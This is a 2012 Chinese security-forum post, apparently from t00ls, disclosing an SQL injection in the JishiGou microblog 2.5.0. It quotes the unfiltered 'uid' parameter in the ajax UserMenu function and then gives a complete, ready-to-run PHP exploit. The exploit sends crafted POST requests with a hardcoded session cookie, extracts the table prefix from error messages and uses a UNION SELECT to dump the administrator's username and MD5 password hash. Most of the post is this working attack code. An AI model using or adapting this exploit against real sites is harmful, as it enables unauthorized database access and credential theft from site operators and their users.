记事狗微博 V2.5.0 SQL Injection 注入漏洞

2012-06-18 18:29:24 18 3433 2


t00ls重开这么久了,大家都没响应下?等什么呢?还是都没兴趣讨论技术了?


记事狗是一套开源的PHP微博程序,其支持Web、手机、QQ机器人、站外分享等多种方式发布内容,并可通过QQ、微博秀、同步到新浪微博等方式传播内容,是业界领先的微博建站系统;记事狗微博集成了Ucenter模块,可与所有集成该模块的系统(比如Discuz、Ecshop等)进行无缝整合,完美实现用户同步注册、登陆、退出,同步上传头像,同步修改密码,让网站已有用户轻松使用。!
1
漏洞核心程序(/modules/ajax/topic.mod.php):
                function UserMenu()
        {
                extract($this->Get);
                extract($this->Post);

                 $uids = $this->Post['uid'];//无任何过滤

                        if($uids) {
                                $buddysid = array();
                                if(MEMBER_ID > 0) {
                                        $sql = "select `buddyid` as `id`,`remark` from `".TABLE_PREFIX."buddys` where `uid`='".MEMBER_ID."' and `buddyid` = ".$uids;//直接入库
                                        $query = $this->DatabaseHandler->Query($sql);
                                        while ($row = $query->GetRow())
                                        {
                                                $buddysid[$row['id']] = $row['id'];
                                                $remark_name = $row['remark'];
                                        }
                                }
                }

                $list_members = $this->TopicLogic->GetMember($uids,"`uid`,`ucuid`,`medal_id`,`username`,`nickname`,`face`,`fans_count`,`topic_count`,`validate`");

                $follow_html = $list_members[$uids]['follow_html'] = follow_html($uids,isset($buddysid[$uids]));

                                $sql = "select `uid`,`touid` from `".TABLE_PREFIX."blacklist` where `touid`='{$uids}' and `uid` = '".MEMBER_ID."'";
                $query = $this->DatabaseHandler->Query($sql);
                $blackList = $query->GetRow();

                                $sql = "select * from `".TABLE_PREFIX."user_tag_fields` where  `uid` = '{$uids}'";
                $query = $this->DatabaseHandler->Query($sql);
                $usertag=$query->GetAll();

                include($this->TemplateHandler->Template('topic_user_menu'));

        }
调用:
                  case 'usermenu':
                                $this->UserMenu();
                                break;
Exp:
<?php
print_r('
--------------------------------------------------------------------------------
JishiGou 2.5.0  "ajax" SQL injection/admin credentials disclosure exploit
BY godblack([url]https://www.t00ls.com/[/url])
--------------------------------------------------------------------------------
');

if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path
host: target server (ip/hostname),without"http://"
path: path to JishiGou
Example:
php '.$argv[0].' localhost /
--------------------------------------------------------------------------------
');
die;
}

function getrand($i)
{
for($j=0;$j<=$i-1;$j++)
{
  srand((double)microtime()*1000000);
  $randname=rand(!$j ? 1: 0,9);
  $randnum.=$randname;
}
return $randnum;
}

function sendpacketii($packet)
{
global  $host, $html;
$ock=fsockopen(gethostbyname($host),'80');
if (!$ock) {
echo 'No response from '.$host; die;
}
fputs($ock,$packet);
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$cookie="JishiGou_ZDgwxL_auth=8743x%2FRUOVdWAQs4S1CRqZ%2FQ3ez0Xp9aEv4AQdkTHf9dropT9cyT0IYD6m%2FLNX%2BHI0dnZMWcePK7S5PylijS; JishiGou_ZDgwxL_sid=I6b932; JishiGou_ZDgwxL_login_credits=1300090380";
$useragent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/'))
{echo 'Error... check the path!'; die;}

/*get   $prefix*/
$data = "uid=-1%27";
$packet ="POST ".$path."/ajax.php?mod=topic&code=usermenu HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept-Language: zh-cn\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("in your SQL syntax",$html)){
        $temp=explode("from `",$html);
        if(isset($temp[1])){$temp2=explode("buddys",$temp[1]);}
        if($temp2[0])
        $prefix=$temp2[0];
        echo "[+]prefix -> ".$prefix."\n";
}else{
        //echo $html;
        echo "[+]can't find prefix ,use jishigou_\n";
        $prefix="jishigou_";
}

echo "[~]exploting now,plz waiting\r\n";

$data = "uid=-1/**/union/**/all/**/select/**/1,concat(username,0x7C0D0A,password)/**/from/**/".$prefix."members/**/where/**/uid=1";
$packet ="POST ".$path."/ajax.php?mod=topic&code=usermenu HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept-Language: zh-cn\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
echo "\r\n";
echo $packet;
sendpacketii($packet);
if (eregi("<!--\(\)",$html)){
        echo $packet;
        echo $html;
        die("Exploit failed...");
}else{
        $pattern="/<\!\-\-\((.*?)\)\s\-\->/si";
        preg_match($pattern,$html,$pg);
        $result=explode("|",$pg[1]);
        print_r('
--------------------------------------------------------------------------------
[+]username -> '.$result[0].'
[+]password(md5) -> '.$result[1].'
--------------------------------------------------------------------------------
        ');
}
?>

关于作者

godblack484篇文章1190篇回复T00ls认证专家。

一个高尚的人,一个纯粹的人,一个有道德的人,一个脱离了低级趣味的人,一个有益于人民的人。

评论18次

要评论?请先  登录  或  注册